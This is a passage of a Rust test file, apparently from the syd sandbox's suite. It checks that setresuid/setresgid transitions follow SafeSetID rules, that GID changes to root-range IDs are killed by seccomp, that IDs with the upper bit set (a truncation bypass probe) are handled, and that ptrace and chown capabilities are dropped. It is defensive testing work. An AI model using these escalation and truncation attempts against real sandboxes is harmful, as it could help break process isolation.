let uid = (65534u64 | 0x100000000).to_string();
let status = syd()
.p("off")
.m("setuid+${SYD_UID}:nobody")
.do_("setresuid", ["-1", &uid, &uid])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setresuid_nobody_safesetid_upper_5() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
let uid = (65534u64 | 0x100000000).to_string();
let status = syd()
.p("off")
.m("setuid+${SYD_UID}:nobody")
.do_("setresuid", [&uid, &uid, "-1"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setresuid_nobody_safesetid_upper_6() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
let uid = (65534u64 | 0x100000000).to_string();
let status = syd()
.p("off")
.m("setuid+${SYD_UID}:nobody")
.do_("setresuid", [&uid, "-1", &uid])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setresuid_nobody_safesetid_upper_7() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
let uid = (65534u64 | 0x100000000).to_string();
let status = syd()
.p("off")
.m("setuid+${SYD_UID}:nobody")
.do_("setresuid", [&uid, &uid, &uid])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setresgid_nobody_default_1() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// Default filter denies privileged {U,G}IDs.
// Test must return EPERM.
let status = syd()
.p("off")
.do_("setresgid", ["-1", "-1", "65534"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_0_setresgid_nobody_default_2() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// Default filter denies privileged {U,G}IDs.
// Test must return EPERM.
let status = syd()
.p("off")
.do_("setresgid", ["-1", "65534", "-1"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_0_setresgid_nobody_default_3() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// Default filter denies privileged {U,G}IDs.
// Test must return EPERM.
let status = syd()
.p("off")
.do_("setresgid", ["65534", "-1", "-1"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_0_setresgid_nobody_default_4() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// Default filter denies privileged {U,G}IDs.
// Test must return EPERM.
let status = syd()
.p("off")
.do_("setresgid", ["-1", "65534", "65534"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_0_setresgid_nobody_default_5() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// Default filter denies privileged {U,G}IDs.
// Test must return EPERM.
let status = syd()
.p("off")
.do_("setresgid", ["65534", "65534", "-1"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_0_setresgid_nobody_default_6() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// Default filter denies privileged {U,G}IDs.
// Test must return EPERM.
let status = syd()
.p("off")
.do_("setresgid", ["65534", "-1", "65534"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_0_setresgid_nobody_default_7() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// Default filter denies privileged {U,G}IDs.
// Test must return EPERM.
let status = syd()
.p("off")
.do_("setresgid", ["65534", "65534", "65534"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_0_setresgid_nobody_safesetid_deny_1() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SAFETY: Set the comment to test setresgid_root_safesetid_deny.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
// SafeSetID is enabled, but no matching GID transition defined.
// The syscall must fail with EPERM _and_ generate an access violation.
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setgid+${SYD_GID}:65533")
.do_("setresgid", ["-1", "-1", "65534"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_permission_denied!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; expected access violation.");
return Err(TestError(
"Expected access violation not logged.".to_string(),
));
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
}
}
Ok(())
}
fn test_syd_0_setresgid_nobody_safesetid_deny_2() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SAFETY: Set the comment to test setresgid_root_safesetid_deny.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
// SafeSetID is enabled, but no matching GID transition defined.
// The syscall must fail with EPERM _and_ generate an access violation.
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setgid+${SYD_GID}:65533")
.do_("setresgid", ["-1", "65534", "-1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_permission_denied!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; expected access violation.");
return Err(TestError(
"Expected access violation not logged.".to_string(),
));
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
}
}
Ok(())
}
fn test_syd_0_setresgid_nobody_safesetid_deny_3() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SAFETY: Set the comment to test setresgid_root_safesetid_deny.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
// SafeSetID is enabled, but no matching GID transition defined.
// The syscall must fail with EPERM _and_ generate an access violation.
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setgid+${SYD_GID}:65533")
.do_("setresgid", ["65534", "-1", "-1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_permission_denied!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; expected access violation.");
return Err(TestError(
"Expected access violation not logged.".to_string(),
));
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
}
}
Ok(())
}
fn test_syd_0_setresgid_nobody_safesetid_deny_4() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SAFETY: Set the comment to test setresgid_root_safesetid_deny.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
// SafeSetID is enabled, but no matching GID transition defined.
// The syscall must fail with EPERM _and_ generate an access violation.
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setgid+${SYD_GID}:65533")
.do_("setresgid", ["-1", "65534", "65534"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_permission_denied!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; expected access violation.");
return Err(TestError(
"Expected access violation not logged.".to_string(),
));
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
}
}
Ok(())
}
fn test_syd_0_setresgid_nobody_safesetid_deny_5() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SAFETY: Set the comment to test setresgid_root_safesetid_deny.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
// SafeSetID is enabled, but no matching GID transition defined.
// The syscall must fail with EPERM _and_ generate an access violation.
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setgid+${SYD_GID}:65533")
.do_("setresgid", ["65534", "65534", "-1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_permission_denied!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; expected access violation.");
return Err(TestError(
"Expected access violation not logged.".to_string(),
));
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
}
}
Ok(())
}
fn test_syd_0_setresgid_nobody_safesetid_deny_6() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SAFETY: Set the comment to test setresgid_root_safesetid_deny.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
// SafeSetID is enabled, but no matching GID transition defined.
// The syscall must fail with EPERM _and_ generate an access violation.
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setgid+${SYD_GID}:65533")
.do_("setresgid", ["65534", "-1", "65534"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_permission_denied!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; expected access violation.");
return Err(TestError(
"Expected access violation not logged.".to_string(),
));
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
}
}
Ok(())
}
fn test_syd_0_setresgid_nobody_safesetid_deny_7() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SAFETY: Set the comment to test setresgid_root_safesetid_deny.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
// SafeSetID is enabled, but no matching GID transition defined.
// The syscall must fail with EPERM _and_ generate an access violation.
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setgid+${SYD_GID}:65533")
.do_("setresgid", ["65534", "65534", "65534"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_permission_denied!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; expected access violation.");
return Err(TestError(
"Expected access violation not logged.".to_string(),
));
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
}
}
Ok(())
}
fn test_syd_0_setresgid_root_safesetid_deny_1() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SafeSetID is enabled, but no matching GID transition defined.
// The syscall must be denied with EACCES for GID<=GID_MIN.
// Note we use GID=1 rather than GID=0 because this test is
// typically run as root so if we run as GID=0 we cannot
// detect the non-GID-change despite setresgid success.
// SAFETY: Compared to the test setresgid_nobody_safesetid_deny, this
// test _must not_ generate a syd access violation, because GID
// change to root must be blocked by the kernel-level parent seccomp
// filter. This is crucial security-wise so we test it here by
// overriding SYD_LOG and setting SYD_LOG_FD.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setgid+${SYD_GID}:65533")
.do_("setresgid", ["-1", "-1", "1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_sigsys!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; no access violation raised as expected.");
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
return Err(TestError("Unexpected access violation logged.".to_string()));
}
}
Ok(())
}
fn test_syd_0_setresgid_root_safesetid_deny_2() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SafeSetID is enabled, but no matching GID transition defined.
// The syscall must be denied with EACCES for GID<=GID_MIN.
// Note we use GID=1 rather than GID=0 because this test is
// typically run as root so if we run as GID=0 we cannot
// detect the non-GID-change despite setresgid success.
// SAFETY: Compared to the test setresgid_nobody_safesetid_deny, this
// test _must not_ generate a syd access violation, because GID
// change to root must be blocked by the kernel-level parent seccomp
// filter. This is crucial security-wise so we test it here by
// overriding SYD_LOG and setting SYD_LOG_FD.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setgid+${SYD_GID}:65533")
.do_("setregid", ["-1", "1", "-1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_sigsys!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; no access violation raised as expected.");
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
return Err(TestError("Unexpected access violation logged.".to_string()));
}
}
Ok(())
}
fn test_syd_0_setresgid_root_safesetid_deny_3() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SafeSetID is enabled, but no matching GID transition defined.
// The syscall must be denied with EACCES for GID<=GID_MIN.
// Note we use GID=1 rather than GID=0 because this test is
// typically run as root so if we run as GID=0 we cannot
// detect the non-GID-change despite setresgid success.
// SAFETY: Compared to the test setresgid_nobody_safesetid_deny, this
// test _must not_ generate a syd access violation, because GID
// change to root must be blocked by the kernel-level parent seccomp
// filter. This is crucial security-wise so we test it here by
// overriding SYD_LOG and setting SYD_LOG_FD.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setgid+${SYD_GID}:65533")
.do_("setresgid", ["1", "-1", "-1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_sigsys!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; no access violation raised as expected.");
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
return Err(TestError("Unexpected access violation logged.".to_string()));
}
}
Ok(())
}
fn test_syd_0_setresgid_root_safesetid_deny_4() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SafeSetID is enabled, but no matching GID transition defined.
// The syscall must be denied with EACCES for GID<=GID_MIN.
// Note we use GID=1 rather than GID=0 because this test is
// typically run as root so if we run as GID=0 we cannot
// detect the non-GID-change despite setresgid success.
// SAFETY: Compared to the test setresgid_nobody_safesetid_deny, this
// test _must not_ generate a syd access violation, because GID
// change to root must be blocked by the kernel-level parent seccomp
// filter. This is crucial security-wise so we test it here by
// overriding SYD_LOG and setting SYD_LOG_FD.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setgid+${SYD_GID}:65533")
.do_("setresgid", ["-1", "1", "1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_sigsys!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; no access violation raised as expected.");
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
return Err(TestError("Unexpected access violation logged.".to_string()));
}
}
Ok(())
}
fn test_syd_0_setresgid_root_safesetid_deny_5() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SafeSetID is enabled, but no matching GID transition defined.
// The syscall must be denied with EACCES for GID<=GID_MIN.
// Note we use GID=1 rather than GID=0 because this test is
// typically run as root so if we run as GID=0 we cannot
// detect the non-GID-change despite setresgid success.
// SAFETY: Compared to the test setresgid_nobody_safesetid_deny, this
// test _must not_ generate a syd access violation, because GID
// change to root must be blocked by the kernel-level parent seccomp
// filter. This is crucial security-wise so we test it here by
// overriding SYD_LOG and setting SYD_LOG_FD.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setgid+${SYD_GID}:65533")
.do_("setresgid", ["1", "1", "-1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_sigsys!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; no access violation raised as expected.");
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
return Err(TestError("Unexpected access violation logged.".to_string()));
}
}
Ok(())
}
fn test_syd_0_setresgid_root_safesetid_deny_6() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SafeSetID is enabled, but no matching GID transition defined.
// The syscall must be denied with EACCES for GID<=GID_MIN.
// Note we use GID=1 rather than GID=0 because this test is
// typically run as root so if we run as GID=0 we cannot
// detect the non-GID-change despite setresgid success.
// SAFETY: Compared to the test setresgid_nobody_safesetid_deny, this
// test _must not_ generate a syd access violation, because GID
// change to root must be blocked by the kernel-level parent seccomp
// filter. This is crucial security-wise so we test it here by
// overriding SYD_LOG and setting SYD_LOG_FD.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setgid+${SYD_GID}:65533")
.do_("setresgid", ["1", "-1", "1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_sigsys!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; no access violation raised as expected.");
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
return Err(TestError("Unexpected access violation logged.".to_string()));
}
}
Ok(())
}
fn test_syd_0_setresgid_root_safesetid_deny_7() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SafeSetID is enabled, but no matching GID transition defined.
// The syscall must be denied with EACCES for GID<=GID_MIN.
// Note we use GID=1 rather than GID=0 because this test is
// typically run as root so if we run as GID=0 we cannot
// detect the non-GID-change despite setresgid success.
// SAFETY: Compared to the test setresgid_nobody_safesetid_deny, this
// test _must not_ generate a syd access violation, because GID
// change to root must be blocked by the kernel-level parent seccomp
// filter. This is crucial security-wise so we test it here by
// overriding SYD_LOG and setting SYD_LOG_FD.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("setgid+${SYD_GID}:65533")
.do_("setresgid", ["1", "1", "1"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_sigsys!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
let data = reader
.lines()
.map(|l| l.expect("read from pipe"))
.filter(|l| l.contains("\"safesetid\""))
.collect::<Vec<_>>()
.join("\n");
match data.len() {
0 => {
eprintln!("No data read from pipe; no access violation raised as expected.");
}
_ => {
// If any data was read, log it.
eprint!("Access violation logged:\n{data}");
return Err(TestError("Unexpected access violation logged.".to_string()));
}
}
Ok(())
}
fn test_syd_0_setresgid_nobody_safesetid_allow_1() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SafeSetID is enabled with GID transition defined.
// The syscall must succeed.
let status = syd()
.p("off")
.m("setgid+${SYD_GID}:65534")
.do_("setresgid", ["-1", "-1", "65534"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setresgid_nobody_safesetid_allow_2() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SafeSetID is enabled with GID transition defined.
// The syscall must succeed.
let status = syd()
.p("off")
.m("setgid+${SYD_GID}:65534")
.do_("setresgid", ["-1", "65534", "-1"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setresgid_nobody_safesetid_allow_3() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SafeSetID is enabled with GID transition defined.
// The syscall must succeed.
let status = syd()
.p("off")
.m("setgid+${SYD_GID}:65534")
.do_("setresgid", ["65534", "-1", "-1"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setresgid_nobody_safesetid_allow_4() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SafeSetID is enabled with GID transition defined.
// The syscall must succeed.
let status = syd()
.p("off")
.m("setgid+${SYD_GID}:65534")
.do_("setresgid", ["-1", "65534", "65534"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setresgid_nobody_safesetid_allow_5() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SafeSetID is enabled with GID transition defined.
// The syscall must succeed.
let status = syd()
.p("off")
.m("setgid+${SYD_GID}:65534")
.do_("setresgid", ["65534", "65534", "-1"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setresgid_nobody_safesetid_allow_6() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SafeSetID is enabled with GID transition defined.
// The syscall must succeed.
let status = syd()
.p("off")
.m("setgid+${SYD_GID}:65534")
.do_("setresgid", ["65534", "-1", "65534"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setresgid_nobody_safesetid_allow_7() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// SafeSetID is enabled with GID transition defined.
// The syscall must succeed.
let status = syd()
.p("off")
.m("setgid+${SYD_GID}:65534")
.do_("setresgid", ["65534", "65534", "65534"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setresgid_nobody_safesetid_upper_1() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
let gid = (65534u64 | 0x100000000).to_string();
let status = syd()
.p("off")
.m("setgid+${SYD_GID}:65534")
.do_("setresgid", ["-1", "-1", &gid])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setresgid_nobody_safesetid_upper_2() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
let gid = (65534u64 | 0x100000000).to_string();
let status = syd()
.p("off")
.m("setgid+${SYD_GID}:65534")
.do_("setresgid", ["-1", &gid, "-1"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setresgid_nobody_safesetid_upper_3() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
let gid = (65534u64 | 0x100000000).to_string();
let status = syd()
.p("off")
.m("setgid+${SYD_GID}:65534")
.do_("setresgid", [&gid, "-1", "-1"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setresgid_nobody_safesetid_upper_4() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
let gid = (65534u64 | 0x100000000).to_string();
let status = syd()
.p("off")
.m("setgid+${SYD_GID}:65534")
.do_("setresgid", ["-1", &gid, &gid])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setresgid_nobody_safesetid_upper_5() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
let gid = (65534u64 | 0x100000000).to_string();
let status = syd()
.p("off")
.m("setgid+${SYD_GID}:65534")
.do_("setresgid", [&gid, &gid, "-1"])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setresgid_nobody_safesetid_upper_6() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
let gid = (65534u64 | 0x100000000).to_string();
let status = syd()
.p("off")
.m("setgid+${SYD_GID}:65534")
.do_("setresgid", [&gid, "-1", &gid])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
fn test_syd_0_setresgid_nobody_safesetid_upper_7() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
let gid = (65534u64 | 0x100000000).to_string();
let status = syd()
.p("off")
.m("setgid+${SYD_GID}:65534")
.do_("setresgid", [&gid, &gid, &gid])
.status()
.expect("execute syd");
// EINVAL: uid/gid not mapped in user-ns.
assert_status_code_matches!(status, 0 | EINVAL);
Ok(())
}
// Check CAP_SYS_PTRACE restrictions over execve(2)
fn test_syd_0_drop_cap_sys_ptrace_exec_default() -> TestResult {
skip_if_strace!();
skip_unless_cap!("sys_ptrace");
// Ptrace must be dropped by default.
let status = syd()
.p("off")
.do_("hascap", ["sys_ptrace"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
// Check CAP_SYS_PTRACE restrictions over execve(2)
fn test_syd_0_drop_cap_sys_ptrace_exec_unsafe_caps() -> TestResult {
skip_unless_trusted!();
skip_if_strace!();
skip_unless_cap!("sys_ptrace");
// Ptrace is kept with trace/allow_unsafe_caps:1
let status = syd()
.p("off")
.m("trace/allow_unsafe_caps:1")
.do_("hascap", ["sys_ptrace"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check CAP_SYS_PTRACE restrictions over execve(2)
fn test_syd_0_drop_cap_sys_ptrace_exec_unsafe_ptrace() -> TestResult {
skip_unless_trusted!();
skip_if_strace!();
skip_unless_cap!("sys_ptrace");
// Ptrace is kept with trace/allow_unsafe_ptrace:1
let status = syd()
.p("off")
.m("trace/allow_unsafe_ptrace:1")
.do_("hascap", ["sys_ptrace"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check CAP_CHOWN restrictions over execve(2)
fn test_syd_0_drop_cap_chown_exec_default() -> TestResult {
skip_unless_cap!("chown");
// CAP_CHOWN must be dropped by default.
let status = syd()
.p("off")
.do_("hascap", ["chown"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
// Check CAP_CHOWN restrictions over execve(2)
